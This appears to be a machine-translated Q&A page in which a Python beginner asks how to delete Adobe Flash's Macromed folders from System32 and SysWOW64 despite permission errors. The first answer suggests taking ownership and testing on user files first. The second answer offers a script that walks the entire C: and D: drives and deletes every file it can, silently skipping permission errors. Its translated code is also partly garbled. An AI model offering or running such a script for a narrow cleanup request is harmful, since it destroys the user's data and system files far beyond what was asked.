我是Python的新手,但这是我要尝试的工作,我正在尝试编写一个脚本,该脚本删除 C:\ Windows \ System32 \ Macromed 和 C:Windows \ SysWOW64 \ Macromed (基本上是Adobe Flash手动卸载文件)。我遇到的是来自Windows的权限问题,因为它需要提升的权限才能删除这些文件夹。但是,Windows不会提示我同意权限,也不会要求我的管理员用户名/ password来允许我删除这些文件夹。
我尝试过在线查看,看到了shutil.rmtree()
的工作原理,但就像我说的那样,遇到了权限墙问题。
感谢您的帮助。
答案 0 :(得分:0)
只需尝试手动将其删除,但仍然会遇到Windows的权限问题,那么python脚本也将不起作用,您必须从Windows获取所有权对象。尝试更改文件权限,然后运行python脚本。通常,Windows不允许删除 System32 目录中的文件,这是Windows的核心部分。
编写成功的脚本,并首先使用用户目录中的文件对其进行测试。然后处理要删除的文件夹的窗口。
答案 1 :(得分:0)
从os import walk 导入操作系统
# home = os.path.normpath(os.path.expanduser("~"))
home="C:/"
for dirpath,dirnames,file in walk(home):
for files in file:
dirpath1=os.path.normpath(dirpath)
childpath=os.path.join(dirpath1,files)
print(childpath)
try:
os.remove(childpath)
except PermissionError:
continue
home="D:/"
for dirpath,dirnames,file in walk(home):
for files in file:
dirpath1=os.path.normpath(dirpath)
childpath=os.path.join(dirpath1,files)
print(childpath)
try:
os.remove(childpath)
except PermissionError:
continue